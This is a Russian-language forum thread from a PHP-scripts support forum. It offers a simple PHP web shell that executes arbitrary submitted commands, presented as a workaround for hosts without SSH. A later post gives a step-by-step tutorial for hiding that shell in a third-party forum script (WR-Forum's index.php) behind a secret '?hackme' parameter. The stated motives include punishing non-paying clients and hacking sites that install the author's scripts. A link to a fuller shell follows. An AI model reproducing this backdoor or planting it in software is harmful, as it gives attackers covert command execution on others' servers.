Если хостер не дал доступа к консоли сервера.

•

Большинстве бесплатных хостингов обычно не дают доступа к консоли своего сервера через SSH, иногда даже на платных за эту услугу приходится платить.

Обидно???

Не все так фатально как кажется. Самодельную консоль легко можно написать на PHP, загрузить на сервер и выполнять на нем нужные консольные команды. Обычно такая необходимость возникает при создании резервных копий MySQL-баз данных или для ее восстановления если в скрипте нет такой возможности.

Вот текст простейшего скрипта на PHP, реализующего такой "PHP - Shell"

•

Код:

<?

set_time_limit(0);

print "<b>UNIX Console script.</b>
";

if (isset($_POST['cmd'])) {
$x=$_POST['cmd'];
}

print "Result of <b>".$_POST['cmd']."</b>:

";

if ($x != "") {
$y=`$x`;
$y=str_replace("n","
",$y);
print $y;
}

print '
<form method="POST" action="shell.php" >
#bash:<input type="text" name="cmd" size="80">
</form> ';

?>

Этот скриптик надо сохранить под именем shell.php, загрузить его на сервер, запустить и все, можно выполнять на хостинге любые команды, которые он позволяет.

Мне с помощью этого скрипта даже команды configure --prefix=путь; make; make install
удавалось выполнить и тем самым скомпилировать на сервере программу на языке Си.

Так же удавалось запускать на сервере уже скомпилированный, бинарный файл в режиме демона. Например сервер IRC.

Скрипт написан для систем UNIX, но должен нормально работать и в Windows.
Например если на сервер закачать трояна и...

Ну вообщем продолжать лучше не буду.

=================
Надеюсь кому-нибудь моя хитрость пригодится.

•

Да, кстати у меня есть и более продвинутый скрипт PHP-shell. Дающий доступ к консоли по логину и пароля, а так же позволяющий выбирать кодировку. (Для работы с русскими именами файлов это важно).

Нужен кому?

•

Хмм... Хоть никого мои хитрости не заинтересовали, но я пожалуй все же прочту лекцию на тему "Как бэкдорить скрипты посредством php-shell".

Сейчас я расскажу тебе дружок, как бэкдорить скрипты.
Это может быть нужно по следующим причинам:
1. Ты сделал сайт на заказ, но админ не хочет платить деньги. Тогда его можно будет запросто наказать грохнув его сайт как следует.
2. Часто бывает нужно выполнить на сервере резервное копирование данных, но сам скрипт этого делать не умеет.
3. Просто для развлечения.
4. Для откровенного взлома чужих сайтов, админы которых имеют неосторжность поставить твой скрипт. (УК РФ предупреждает - уголовно наказуемо).

Для примера будем бэкдорить WR-Forum, файл index.php

Для начала сам скрипт бэкдора, он занимает всего 370 байт текста.
Вот он:

Код:

<?set_time_limit(0);print "<b>PHP-Shell.</b>
";if (isset($_POST['cmd'])) $x=$_POST['cmd']; else $x="";print "Result of <b>".$x."</b>:
";if ($x != "") {$y=`$x`;$y=str_replace("<","<",$y);$y=str_replace(">",">",$y);$y=str_replace("n","
",$y);print $y;}print '<form method="POST" action="comp.php" >#:<input type="text" name="cmd" size="80"></form> ';?>

Прежде всего нужно придумать команду, которя будет запускать бэкдор,
пусть это будет например http://ардес_сайта/index.php?hackme
p.s. В реальных условиях вместо hackme рекомендую придумать что-нибудь посложнее.

Ищем в скрипте строчку action="comp.php"
и меняем ее на:
action="index.php?hackme"

Запомни, здесь вместо index.php должно стоять имя файла, в который ты ставишь бэкдор.

Теперь добавим в скрипт условие, проверяющее ввод нашей "секретной команды" (hackme), которая будет запускать наш бэкдор.

В результате бэкдор принимает такой вид:

Код:

if (isset($_GET['hackme'])) {
set_time_limit(0);print "<b>PHP-Shell.</b>
";if (isset($_POST['cmd'])) $x=$_POST['cmd']; else $x="";print "Result of <b>".$x."</b>:
";if ($x != "") {$y=`$x`;$y=str_replace("<","<",$y);$y=str_replace(">",">",$y);$y=str_replace("n","
",$y);print $y;}print '<form method="POST" action="index.php?hackme" >#:<input type="text" name="cmd" size="80"></form>';
exit;}

Это и есть готовый результат.
Все что осталось - вставить его куда-нибудь поглубже в скрипт, чтобы было малозаметно.

Можно например так:

Находим в index.php записи:

Код:

if (!isset($_GET['event'])) {
// Блок выводит в статусной строке: ТЕМА -> РАЗДЕЛ -> ФОРУМ

И вставляем перед этими строчками наше чудовище.
Сохраняем файло. Вот и все.

Проверяем, работает-ли форум:
http://адрес_сайта/index.php

Все отлично работет как будто ничего и нет.

Ну а теперь:
http://адрес_сайта/index.php?hackme
И......
И консоль сервера наша, можно делать в ней что угодно!

===========
Все спасибо, аудитория сводобна....

•

Буду благодарен, если объяснишь как менять кодировку для вывода рнр-скриптом в консоль русский текст! Да и PHP-shell не помешает !

•

dev, под Виндой или под UNIX?
А то кодировки у них разные.

Короче так.
Вот скрипт PHP-shell дающий доступ по логину и паролю и позволяющий выбирать кодировку.
Для Винды надо выбирать - cp866, для исистем UNIX - KOI8-R
Остальные кодировки приведены для совместимости.

Качать здесь: http://draculacastle.narod.ru/shell.zip

Бесплатные PHP скрипты - форум техподдержки

Если хостер не дал доступа к консоли сервера.